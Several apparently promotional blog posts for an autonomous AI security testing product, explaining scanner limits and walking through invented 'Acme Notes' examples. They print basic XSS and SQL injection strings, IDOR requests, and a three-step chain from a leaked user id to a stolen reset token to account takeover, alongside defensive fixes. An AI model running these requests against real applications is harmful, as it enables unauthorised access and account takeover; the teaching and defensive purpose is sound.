    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • How UnboundCompute differs from a vulnerability scanner

    How UnboundCompute differs from a vulnerability scanner

    If you search for an ai vulnerability scanner, you will find a lot of tools that promise to find every bug in your app. Most of them work the same way underneath: they match your app against a list of known patterns and hand you back a long report of maybes. UnboundCompute is a different kind of tool, and this post is an honest look at how it differs and where it stands today.

    We are early. The product is being built. So this is not a sales pitch. It is a comparison of two ways of looking for bugs, and an explanation of why we chose the harder one.

    What a traditional vulnerability scanner actually does

    A classic scanner crawls your app, collects every URL, form, and parameter it can reach, then fires a fixed set of test payloads at each one. It watches the response for signs that something went wrong. A reflected string here, a database error message there, a slow response that hints at a sleep command.

    This works for whole classes of well known bugs. If a field echoes back <script>alert(1)</script> without encoding, a scanner will catch it. If a search box passes ' OR '1'='1 straight into a query, it will often catch that too. That is real value, and pattern matching is good at finding the obvious mistakes quickly.

    The trouble starts past the obvious. A scanner does not know what your app is for. It does not know that a user on a free plan should never reach /api/v1/exports/full, or that order id=1043 belongs to a different account. It sees a request that returns 200 OK and moves on. To the scanner, a working feature and a broken access control check look identical.

    Why the report is full of maybes

    Because a scanner guesses from surface signals, it has to play it safe. If a payload causes any change at all, it tends to flag it so it does not miss a real bug. The result is a report with many items marked “possible” or “medium confidence,” and a real chance that most of them are false positives. Someone on your team then spends a day or two checking each one by hand to find the few that are real.

    That is the core problem. The scanner did the easy part and left the hard part, proving the bug, to you.

    A scanner tells you where something might be wrong. The expensive work, proving whether it really is, still lands on a human.

    How an ai vulnerability scanner that reasons is different

    UnboundCompute is built around a different loop. Instead of matching payloads against a list, it tries to understand the app first, then form ideas about where the logic could break, then run experiments to test those ideas, and only report a finding once it has proof. Understand, assume, experiment, verify, chain.

    Here is what that looks like in practice on an invented example. Say a typical SaaS app called Acme Notes lets users share a note by id:

    GET /api/notes/4471
    Authorization: Bearer <user A token>

    A pattern matcher checks that the response is valid and moves on. A researcher that reasons about the app notices the id is a plain number and forms an assumption: the server might be trusting the id in the URL without checking who owns the note. So it designs an experiment. It logs in as a second user, takes that user’s token, and asks for a note id that belongs to user A:

    GET /api/notes/4471
    Authorization: Bearer <user B token>

    If user B gets back user A’s private note, that assumption was correct. The tool does not stop at a hunch. It confirms the note content belongs to a different account, records the exact request and response as evidence, and only then reports it. That is an access control bug a payload list would never spot, because nothing in the request looks malicious. The request is perfectly well formed. The problem is what the app assumed.

    Proof before report

    The rule that changes the output is simple: a finding is only reported when it is proven with concrete evidence. No proof, no report. This flips the work. Instead of handing you candidates to verify, the tool does the verification itself and hands you the ones that survived. The output is signal rather than a stack of maybes.

    A confirmed finding can also be turned into a repeatable check, so the same test keeps running and tells you if the bug ever comes back after a fix or a refactor.

    A short comparison

    • How it finds bugs. A scanner matches known patterns. UnboundCompute forms an idea about the app’s logic and tests it.
    • What it understands. A scanner sees URLs and parameters. The researcher tries to learn what the app is meant to do and where that intent could break.
    • What it reports. A scanner reports candidates, many of them false positives. UnboundCompute reports findings it has already proven.
    • Who proves the bug. With a scanner, a human triages the list. Here, the tool runs the experiment and keeps the evidence.
    • The kind of bug it catches. Scanners are strong on known payload bugs. The researcher reaches logic and access control flaws that have no fixed payload.
    • After the fix. A proven finding becomes a repeatable check that watches for the bug returning.

    We go deeper on this split in scanners vs research, since it is the line that matters most when you are choosing a tool.

    Where we are honest about the limits

    None of this means scanners are useless. They are fast, cheap, and good at sweeping for the common, known issues. If you have never run one, run one. The point is that pattern matching has a ceiling, and the highest impact bugs usually live above it, in the assumptions an app makes about who you are and what you are allowed to do.

    It also does not mean UnboundCompute is finished. It is not. We are building it, and we are not going to dress that up with customer counts or benchmark charts we do not have. What we can say is an early, encouraging signal: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is a hint that the approach works, not a promise of a result on your app.

    Which one should you use

    Think of them as different jobs. A vulnerability scanner is a smoke detector for the known stuff, cheap to run and worth keeping on. An autonomous researcher is closer to a person who reads your app, asks “what if the server trusts this id,” and goes and checks. They answer different questions.

    If you take one thing from this, take the difference between a maybe and a proof. A maybe costs you time. A proof saves it. That gap is exactly what an autonomous researcher that tests assumptions is built to close. You can read more about who we are and where we are headed on our about page.

    Frequently asked questions

    How is UnboundCompute different from a vulnerability scanner?

    A scanner crawls your app and fires a fixed set of known payloads at every input, then flags anything that looks suspicious. UnboundCompute instead tries to understand the app, forms ideas about where its logic could break, runs experiments, and reports a finding only once it has proof.

    Why do scanner reports contain so many false positives?

    A scanner guesses from surface signals, so it plays it safe and flags anything that changes, which produces a report full of items marked possible or medium confidence. Someone on your team then spends a day or two checking each one by hand, because the scanner did the easy part and left the proof to you.

    Should I stop using vulnerability scanners?

    No. Scanners are fast, cheap, and good at sweeping for common, known issues, and if you have never run one, you should. The point is that pattern matching has a ceiling, and the highest impact bugs usually live above it, in the assumptions an app makes about who you are and what you are allowed to do.

    Can I buy or try UnboundCompute today?

    Not yet. It is still being built, and we are not going to dress that up with customer counts or benchmark charts we do not have. You can read about who we are and where we are headed on our about page.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • How UnboundCompute works, from understanding an app to proving a bug

    How UnboundCompute works, from understanding an app to proving a bug

    This post is a deeper look at how UnboundCompute does ai penetration testing, walked through one step at a time with a concrete example. UnboundCompute is an autonomous security researcher for web apps and APIs. Instead of running a fixed list of payloads, it learns how an app is meant to work, forms an idea about where that logic could break, and proves a finding before it ever reports one.

    To make the steps real, we will use an invented app called Acme Notes. It is a simple note taking SaaS where users sign up, create notes, and share them with teammates. No real system is being attacked here. Acme Notes exists only so we can show the method on something you can picture.

    Why ai penetration testing starts with understanding, not payloads

    Most scanners begin from a catalog of known attacks and fire them at every input. That finds the bugs everyone already knows to look for. It misses the bugs that come from a specific app making a specific assumption.

    UnboundCompute starts somewhere else. Before it tests anything, it reads Acme Notes the way a careful new engineer would. It maps the routes, the request shapes, and the rules the app seems to enforce. For Acme Notes, that means noticing things like this:

    • A note is fetched with GET /api/notes/{id}.
    • Sharing a note is a POST /api/notes/{id}/share with a teammate email in the body.
    • The app appears to assume that only a note owner can share that note.

    That last line is the interesting one. It is not a payload. It is an assumption the app is making. The whole method points at assumptions like that, because the bugs with the most impact usually live there.

    The highest impact bugs come from understanding the app, not from matching patterns. So the first job is to learn the app, then ask where its own rules might not hold.

    Form an assumption about where it could break

    Once the app is understood, the next step is a clear guess. Not a vague worry. A testable claim about one rule that might not be enforced everywhere.

    For Acme Notes, here is the assumption to challenge:

    • The app checks ownership when you read a note, but it may not recheck ownership when you share one.

    This is a guess about how access control can quietly fail. The read path and the share path were probably written at different times by different people. It is common for one path to enforce a rule that the other forgot. The guess is specific, so we can design a test that either confirms it or kills it.

    Design an experiment

    A good experiment isolates one variable. We want to know whether a user who does not own a note can still act on it through the share endpoint.

    So we set up two accounts in the test app, Alice and Bob. Alice owns a note. Bob does not. Bob has a valid session because he is a normal signed in user. The experiment is simple. Bob asks the share endpoint to operate on Alice’s note id.

    The point is control. If Bob’s request needs Alice’s note id and Bob’s own token, and nothing else changes, then any result we see is caused by the one thing we are testing.

    Verify with hard evidence

    This is the step that separates a real finding from a maybe. We do not report a guess. We run the experiment and look at what the app actually does.

    Here is the kind of request the experiment sends, using Bob’s session against Alice’s note:

    POST /api/notes/9d2f/share HTTP/1.1
    Host: acmenotes.test
    Authorization: Bearer <bob_session_token>
    Content-Type: application/json
    
    { "email": "bob@evil.test", "role": "editor" }

    Note 9d2f belongs to Alice. The token belongs to Bob. If Acme Notes were enforcing ownership on this path, the right answer is 403 Forbidden and no change to the note.

    Proof is what the response shows. If the app instead returns this:

    HTTP/1.1 200 OK
    Content-Type: application/json
    
    { "note_id": "9d2f", "shared_with": "bob@evil.test", "role": "editor" }

    then the assumption was right and the bug is real. Bob, who never owned the note, just gave himself editor access to it. The evidence is concrete: a 200, the response naming Bob as an editor, and a follow up GET /api/notes/9d2f with Bob’s token now returning the note body. That follow up read is the part that turns a suspicious response into a proven one. We can see Bob holding access he should never have had.

    What counts as proof

    Proof is not a status code on its own. It is a short chain that any engineer can replay:

    • The exact request that should have been denied.
    • The response showing it was allowed.
    • A second request that confirms the new access is real, not just an echo.

    If any link is missing, the finding stays unproven and is not reported. No bug is reported until it is proven. That is the rule that keeps the output as signal instead of a stack of guesses someone else has to triage.

    Chain a confirmed finding into the next

    A proven finding is not the end. It is a new fact about the app, and facts open doors.

    Now that Bob can grant himself editor access to any note id, the next question writes itself. What can an editor reach that a stranger cannot? If editors can read attachments, and attachments are served from a shared store, then the access control gap on sharing may lead to reading files that belong to other teams. So the next experiment targets that, using the access Bob just proved he can get.

    This is the chaining step. Each confirmed finding becomes the starting point for the next assumption, so a single broken rule gets followed as far as it really goes, with evidence at every step.

    A finding can become a repeatable check

    Once the share endpoint bug is proven and fixed, the proof does not get thrown away. The exact request and the expected 403 become a check that runs again later. If a future change reintroduces the gap, the check catches it. A confirmed finding turns into a small guard that keeps watching for the bug coming back.

    Where this stands today

    We are early and honest about it. The product is being built. We are not claiming customers, benchmarks, or finished results.

    What we can say is encouraging. A frontier model drove this full method on its own and identified and verified real access control and injection issues in test applications it had not seen before. We treat that as an early signal that the approach works, not as a final score.

    The Acme Notes walkthrough is the whole idea in one example. Understand the app, assume where it could break, design a clean experiment, verify with evidence you can replay, then chain the result into the next finding. This is exactly the kind of logic bug an autonomous researcher that tests assumptions is built to find. If you want the fuller picture of who we are and where we are headed, read more on our about page.

    Frequently asked questions

    How does UnboundCompute actually find a bug?

    It works in a loop: understand, assume, experiment, verify, chain. It reads how the app is meant to behave, forms a testable guess about a rule that might not hold, designs an experiment that isolates one variable, and confirms the result with evidence before reporting anything.

    What counts as proof before something is reported?

    Proof is a short chain any engineer can replay: the exact request that should have been denied, the response showing it was allowed, and a second request that confirms the new access is real rather than just an echo. If any link is missing, the finding stays unproven and is not reported.

    What does chaining mean here?

    A proven finding is a new fact about the app, and facts open doors. Once one rule is shown to be broken, UnboundCompute uses that access as the starting point for the next assumption and experiment, so a single gap gets followed as far as it really goes, with evidence at every step.

    Is UnboundCompute finished and ready to use?

    No. We are early and the product is being built, and we are not claiming customers, benchmarks, or finished results. You can read more about where we are headed on our about page.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Why we are building UnboundCompute

    Why we are building UnboundCompute

    We started UnboundCompute because of a gap we kept running into. Most automated security testing checks a fixed list of known bugs and stops there. That misses the flaws that hurt most, the ones that need a real understanding of how an app works, like broken access control and business logic abuse. This post explains the gap, why we think it matters, and what we are betting on.

    We are early. The product is being built. We would rather tell you what we believe and why than sell you on results we have not earned yet. So this is a point of view, written plainly.

    What most automated security testing actually checks

    A normal scanner works from a catalogue. It knows what a reflected script looks like, what a classic injection string returns, what an outdated library version means. It sends those patterns at every endpoint it can find and reports the matches. This is genuinely useful. It catches the well understood bugs fast, on a schedule no human could keep, and it never gets tired.

    But notice what that approach assumes. It assumes the dangerous bugs all look like something the tool has seen before. Many do not. Consider a request like this:

    GET /api/orders/8841
    Authorization: Bearer trial-user-token
    
    HTTP/1.1 200 OK
    { "id": 8841, "owner": "another-account", "total": 1290 }

    There is no malformed payload here. No quote to break a query, no script tag, no signature to match. Yet the trial user just read an order that belongs to someone else. That is broken access control, and a pattern matcher has nothing to match against, because the request looks perfectly ordinary. The bug lives in the rule the app forgot to enforce, not in the shape of the input.

    Why automated security testing misses the bugs that matter

    The highest impact flaws come from understanding what an app is trying to do, then asking what happens when you bend one of its rules. Two examples make the point.

    Broken access control

    An app decides who is allowed to see or change what. When a check is missing, one user can reach another user’s data by changing an id in a URL, or reach an admin route that was never linked from the menu. To find this, you have to know who the current user is supposed to be and what they should not be able to touch. A fixed payload list does not carry that idea.

    Business logic abuse

    Logic bugs are worse to automate, because the app is behaving exactly as written. The code is just wrong about its own rules. Picture a checkout that takes a discount code. A tool sending known strings will never think to apply the same code three times, or set the quantity to a negative number so the total drops below zero:

    POST /api/cart/apply
    { "code": "SAVE20", "quantity": -4 }

    Nothing about that request is malformed. It is a valid call that exploits a rule the app assumed no one would break. You only find it by understanding the flow first, then probing the assumption underneath it.

    The bugs that hurt most are not strange inputs to known holes. They are ordinary requests that break a rule the app forgot to enforce.

    Why skilled humans cannot cover the gap alone

    Human testers find these bugs. A good one reads the screen, guesses the business rules, and chases behavior no rulebook predicted. That is exactly the kind of judgment a payload catalogue lacks. The problem is supply.

    • They are scarce. The people who are genuinely good at this work are few, and demand far outruns them.
    • They are expensive. A deep manual test is a serious cost, so most teams can only afford it once or twice a year.
    • They cannot keep up with shipping. Teams deploy many times a week. A test run once a year cannot see the code that shipped last Tuesday.

    So you end up with two options that each fall short. Scanners run constantly but miss the bugs that need understanding. Humans understand but cannot run constantly. The deeper version of this comparison lives in our scanners vs research category, which goes through where each one earns its keep and where it does not.

    Our bet: an autonomous researcher that tests assumptions

    Here is what we are building toward. Instead of a tool that matches known payloads, an autonomous researcher that works the way a thoughtful human tester does. It learns how the application is meant to behave. It forms ideas about where that logic could break. It designs experiments to test those ideas. Then it proves a finding before it ever reports it. Understand, assume, experiment, verify, chain.

    The order of those words matters. Understanding comes first, because the bugs we care about only appear once you know what the app expects. The verify step matters just as much. A finding is only reported when it is backed by concrete evidence, so the output is signal, not a pile of maybes. Take the order example above. The researcher would not flag a “possible” issue. It would replay the request, show the other account’s data coming back, and hand you a result you can reproduce.

    That last step changes the cost of reading a report. Every false alarm costs someone an hour of triage, and after enough of them people stop reading. Proof cuts the noise. And once a finding is confirmed, it can become a repeatable check that keeps watching for the same bug coming back after a future deploy.

    Where we are, honestly

    We will not pretend we are finished. We are early, and the product is being built. We have no customers to name, no benchmark to wave around, and we are not going to invent one.

    What we can share is an early signal that keeps us going. A frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We frame that as encouraging, not as proof. It is enough to tell us the bet is worth making, and not enough to claim the work is done.

    Why this is worth building

    The pattern is hard to ignore. Software ships faster every year. The bugs that cause the worst days, the leaked records and the abused workflows, are the ones that need understanding, not pattern matching. Scanners cannot supply that understanding, and skilled humans cannot supply enough of their time. Something has to test the assumptions an app makes, at the speed teams now ship, and prove what it finds before it interrupts anyone.

    That is the thing we are trying to build. An autonomous researcher that tests the assumptions your app makes and reports a bug only once it is proven. We are early and we know it, but this is the gap worth closing, and it is why UnboundCompute exists. If you want to follow along or tell us where we are wrong, read more on our about page.

    Frequently asked questions

    Why is UnboundCompute being built at all?

    Most automated security testing checks a fixed list of known bugs and stops, which misses the flaws that hurt most, like broken access control and business logic abuse. Those bugs need a real understanding of how an app works, and we are building an autonomous researcher to test the assumptions an app makes rather than match known payloads.

    Why can’t existing scanners or human testers cover this gap?

    Scanners run constantly but only catch bugs that look like patterns they already know. Skilled human testers understand an app and find logic bugs, but they are scarce and expensive, so most teams can only afford a deep manual test once or twice a year, which cannot keep up with code that ships every week.

    Do you have customers or proof it works?

    No. We are early and the product is being built, so we are not claiming customers, revenue, funding, or benchmarks. We share a point of view here rather than results we have not earned yet.

    What kind of bugs does this approach target?

    It targets bugs that come from understanding what an app is trying to do, then asking what happens when one of its rules is bent. Common examples are broken access control, where a user reaches data they should not, and business logic abuse, where a perfectly valid request exploits a rule the app assumed nobody would break.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Meet UnboundCompute, an autonomous security researcher for web apps and APIs

    Meet UnboundCompute, an autonomous security researcher for web apps and APIs

    UnboundCompute is an autonomous security researcher for web apps and APIs. It reads an application the way a careful person would, builds a picture of how the app is meant to behave, then goes looking for the places where that intent quietly falls apart. This post explains who it is, what it does, and where it fits in the wider story of autonomous penetration testing.

    What UnboundCompute actually is

    Think of it as a researcher that never gets bored and never stops reading. You point it at a web app or an API. It studies the routes, the parameters, the responses, and the rules the app seems to enforce. From that it forms a working model of the system: who is supposed to do what, which actions need permission, and which inputs the app trusts.

    That model is the whole point. Most bugs that matter are not missing patches. They are gaps between what the app intends and what it allows. A user who can read another user’s invoice by changing one number in a URL. An endpoint that checks your login but forgets to check whether the record belongs to you. These are logic gaps, and you only see them once you understand the logic.

    The loop: understand, assume, experiment, verify, chain

    UnboundCompute works in a loop. Each step feeds the next, and the loop keeps tightening until there is either a proven finding or nothing left to test.

    Understand

    First it learns how the app is meant to work. It maps the surface and reads the behavior. If GET /api/orders/1042 returns your order, the researcher notes that orders are addressed by a simple number and asks the obvious follow up: what enforces that 1042 is yours?

    Assume

    Next it forms ideas about where the logic could break. This is the part a fixed checklist cannot do. The researcher reasons about the app in front of it, not a generic template. For an orders endpoint it might assume that ownership is checked at login but not at the record level. For a password reset flow it might assume the token is predictable or reusable.

    Experiment

    Then it designs a test for each idea and runs it. One assumption, one experiment. For the ownership idea, it requests a record it should not own:

    GET /api/orders/1043
    Authorization: Bearer <a different user's session>

    If that returns someone else’s order, the assumption held and there is a real access control bug to confirm.

    Verify

    This is the step that separates a researcher from a noise machine. A guess is not a finding. UnboundCompute only reports something when it can prove it with concrete evidence, the request that triggered the behavior and the response that shows the impact. The output is signal, not a pile of maybes you have to sort through by hand.

    A finding is only worth reporting when you can show the exact request that proves it. Everything else is a guess wearing a confident face.

    Chain

    Single bugs are useful. Chained bugs are how real damage happens. Once a finding is verified, the researcher asks what it opens up. A leaked email here, a guessable identifier there, an endpoint that trusts a value it should not. On their own each looks minor. Together they can add up to a full account takeover. Because UnboundCompute carries its model of the app through the whole loop, it can connect one verified result to the next instead of treating every test as a fresh start.

    Why this beats a scanner that checks a known list

    A traditional scanner is a list reader. It carries a set of known signatures and fires them at every input it finds. That has real value for catching the obvious and the already known. It also has a hard ceiling. A scanner that only checks a known list cannot find a bug that is not on the list, and the bugs that hurt most are almost never on any list.

    Here is the difference in one example. A scanner sends a SQL injection string at /search?q= and checks whether the response looks like a database error. Useful. But it will happily pass an endpoint like this:

    POST /api/account/transfer
    { "from": "acct_self", "to": "acct_other", "amount": 500 }

    There is no payload to match here. The bug, if there is one, is that the server never checks whether you own acct_self. No signature catches that. You catch it by understanding what the endpoint is for and testing the assumption it makes about who is calling it. We write more about this split between checking and researching in our scanners versus research category.

    • A scanner asks: does this input match a known bad pattern?
    • A researcher asks: what does this app assume, and what happens when that assumption is false?

    Both questions are fair. The second one is where the high impact findings live, and it is the question UnboundCompute is built around.

    Where this sits in autonomous penetration testing

    Autonomous penetration testing is the idea that a system can plan and run its own security tests, not just replay a script. UnboundCompute fits there, but with a specific stance: the value is not in running more checks faster. It is in reasoning about the target, testing assumptions, and proving impact before saying a word.

    Verification also pays off after the first run. Once a finding is confirmed, it can become a repeatable check that keeps watching for the same bug coming back. So the work is not throwaway. A proven issue today becomes a guard against regressions tomorrow.

    Where we are right now: honest version

    We are early. The product is being built, and we are not going to dress that up. We have no customer numbers to share, no benchmark to wave around, and we are not promising results we cannot back.

    What we will say is this. In our own testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We read that as an early, encouraging signal that the approach holds, not as a benchmark and not as proof. There is a long way to go from a good signal to a tool you can rely on every day, and that gap is the work in front of us.

    The short version

    UnboundCompute is a security researcher that runs on its own. It learns how an app is meant to work, guesses where the logic breaks, tests those guesses, and only reports what it can prove. That is a different job from a scanner reading a list of known payloads, and it is the job we think matters most. If you want to know who is building this and why, read more on our about page.

    Frequently asked questions

    What is UnboundCompute?

    UnboundCompute is an autonomous security researcher for web apps and APIs. It learns how an application is meant to behave, forms ideas about where that logic could break, runs experiments to test those ideas, and only reports a finding once it is proven with concrete evidence.

    Is UnboundCompute available to use yet?

    Not yet. We are early and the product is still being built, so we have no customers, revenue, or benchmarks to share and we will not invent any. If you want to follow the work, read more on our about page.

    How is this different from a vulnerability scanner?

    A scanner reads a fixed list of known payloads and fires them at every input, which catches obvious and already known issues. UnboundCompute instead reasons about what the app assumes and tests those assumptions, so it can reach access control and logic gaps that no fixed signature would match.

    Why does it report only proven findings?

    A guess is not a finding. UnboundCompute reports something only when it can show the exact request that triggered the behavior and the response that proves the impact, so the output is signal rather than a pile of maybes you have to triage by hand.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Teardown: chaining small bugs into a real breach

    Teardown: chaining small bugs into a real breach

    Most reports score a bug on its own, then move on. That habit hides the real danger, because exploit chaining is how three small issues that each look harmless turn into one account takeover. In this teardown we walk through an invented app called Acme Notes and follow a chain from a leaky endpoint to a full password reset, link by link, proving each step before we connect it to the next.

    What exploit chaining means

    A chain is a sequence of findings where the output of one becomes the input of the next. Alone, each link earns a low severity rating. Read in order, they hand an attacker something they should never reach. The exploit chain meaning is simple to state and easy to miss: severity is not a property of one bug, it is a property of the path.

    Acme Notes is a small notes app. Users sign up, write notes, and reset a forgotten password by email. We found three issues. A public endpoint that lists user ids. An access control gap that returns a reset token for any id you ask for. A reset flow that accepts that token without a second check. Each was filed by a different reviewer as low. Together they are critical.

    Severity is not a property of one bug. It is a property of the path an attacker can walk end to end.

    Link one: a public endpoint leaks user ids

    Acme Notes has a directory feature so teammates can find each other. The endpoint needs no auth and returns a tidy list.

    GET /api/v1/directory?team=acme HTTP/1.1
    Host: app.acmenotes.example
    
    200 OK
    [
      { "id": 4821, "name": "Dana Lee" },
      { "id": 4822, "name": "Sam Ortiz" }
    ]

    On its own this reads as minor. Names are semi public anyway, and the team field is guessable. The reviewer who filed it wrote “info disclosure, low” and they were right about the impact in isolation. What matters for a chain is not the names. It is the id field. We now have a clean list of valid internal user ids, the exact input the next link wants.

    Why prove it first

    Before treating this as link one, we confirmed the endpoint really needs no session. We sent the request with no cookie and with a logged out client. Same 200, same ids. That is the evidence. We do not assume the ids are real or stable, we test that the same id maps to the same user across requests. It does. Now the link is verified and we can build on it.

    Link two: an IDOR exposes a reset token tied to an id

    Acme Notes lets a signed in user view their own pending reset status, so the support team can tell people whether a reset email is still valid. The route takes a user id.

    GET /api/v1/users/4821/reset_status HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer <any valid user token>
    
    200 OK
    { "pending": true, "token": "f3a9c1e8b2d47..." }

    This is an insecure direct object reference. The server checks that you are logged in. It never checks that the id you asked for is your own. So any authenticated user, even a brand new free account, can read the reset status of any other id, and the response includes the live reset token.

    Filed alone, this looks like a leak of a value that should be secret but that an attacker cannot target, because how would they know which ids exist or matter? That assumption is the weak point. Link one already answered it. We have the id list, so we are not guessing.

    Verify, then connect

    We confirmed the IDOR with two accounts we controlled. From account A we requested the reset status of account B by its id and read back B’s token. We did not stop at “the field is present.” We checked that the token value actually belonged to B’s account and not a placeholder. Only after that evidence did we treat link one and link two as joined.

    Link three: a weak reset flow accepts the token

    The final link is the reset endpoint itself. A well built flow ties the token to a session, an email confirmation, or a short expiry plus a one time use guard. Acme Notes does none of that. It accepts any token that matches a pending reset and sets the new password.

    POST /api/v1/password/reset HTTP/1.1
    Host: app.acmenotes.example
    Content-Type: application/json
    
    { "token": "f3a9c1e8b2d47...", "new_password": "attacker_chosen" }
    
    200 OK
    { "status": "password_updated" }

    On its own the team rated this medium and noted the token “is hard to obtain.” True in a vacuum. Links one and two removed that condition. The token is no longer hard to obtain, it is a field in a JSON response any user can read.

    Reading the chain end to end

    Put the three verified links in order and the picture changes:

    • Step one. Pull the user id for a target from the public directory.
    • Step two. Use any logged in account to read that id’s reset status and copy the live token.
    • Step three. Submit the token to the reset endpoint and set a new password.

    The result is account takeover of any user, starting from a free signup. None of the three findings would have triggered a page on their own. The chain is the bug. This is the gap between scanning for known payloads and understanding what an app assumes about its own data, a theme we cover across our attack teardowns.

    The defensive lesson

    The fix is not only to patch each link, though you should. It is to stop trusting that a low severity finding stays low. Three habits help.

    • Treat identifiers as reachable. Once an id appears in any unauthenticated response, plan as if every attacker holds the full list. Sequential integer ids make this worse, so prefer unguessable values, but do not rely on secrecy of ids as a control.
    • Check ownership on every object route. The IDOR existed because the server confirmed authentication but never authorization. “Is this caller allowed to see this specific record” is a separate question from “is this caller logged in.” Ask both.
    • Bind reset tokens to context. A reset token should be single use, short lived, and tied to the email that requested it or the session that follows the link. A token that any holder can redeem is a password waiting to be changed.

    The wider lesson is about how you review. When you file a finding, write down what the next attacker would need to make it worse, and whether your own app already provides that. The reset bug looked safe only because the reviewer assumed tokens were hard to reach. A second reviewer looking one step ahead would have asked where reset tokens are exposed, and found link two.

    How to verify a chain honestly

    Do not claim a chain you have not walked. Reproduce each link with evidence: the raw request, the raw response, and the accounts you used. When you write up indicators like the endpoints, hosts, and tokens involved, our free IOC extractor and defanger pulls those indicators out of your notes and defangs any live URLs so a report can be shared without anyone clicking something by accident. Confirm that the value carried between links is the real value, not a lookalike. Then walk the whole path once, from public directory to changed password, on accounts you own in a test environment. If any link fails to reproduce, the chain is a theory, not a finding.

    Closing

    Small bugs are not small when they line up. The way to catch a chain is to understand the app, question each assumption, and prove every link before you trust it. This is exactly the kind of problem an autonomous researcher that tests assumptions, rather than matching a fixed list of payloads, is built to find. You can read more about that approach on our about page.

    Frequently asked questions

    What is exploit chaining?

    A chain is a sequence of findings where the output of one becomes the input of the next, so three issues that each look harmless on their own can combine into something critical like an account takeover. The key idea is that severity is not a property of one bug, it is a property of the path an attacker can walk end to end. The teardown shows this on an invented app called Acme Notes for teaching, not as a real engagement.

    Why do reviewers underrate bugs that later form a chain?

    Each link is filed in isolation, often by a different reviewer, and rated low because a precondition looks hard to meet. A reset token leak gets called minor because the token seems hard to obtain, but an earlier link that exposes the id list removes exactly that condition. A reviewer looking one step ahead would ask what the next attacker needs and whether the app already provides it.

    How do you defend against chained exploits?

    Treat identifiers as reachable, so once an id appears in any unauthenticated response you plan as if every attacker holds the full list. Check ownership on every object route, since being logged in is a separate question from being allowed to see a specific record. Bind reset tokens to context so they are single use, short lived, and tied to the email or session, and review the broader Broken Access Control guidance.

    How do you verify a chain honestly?

    Do not claim a chain you have not walked. Reproduce each link with the raw request, the raw response, and the accounts you used, confirm the value carried between links is the real value and not a lookalike, then walk the whole path once on accounts you own in a test environment. If any link fails to reproduce, the chain is a theory, not a finding.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.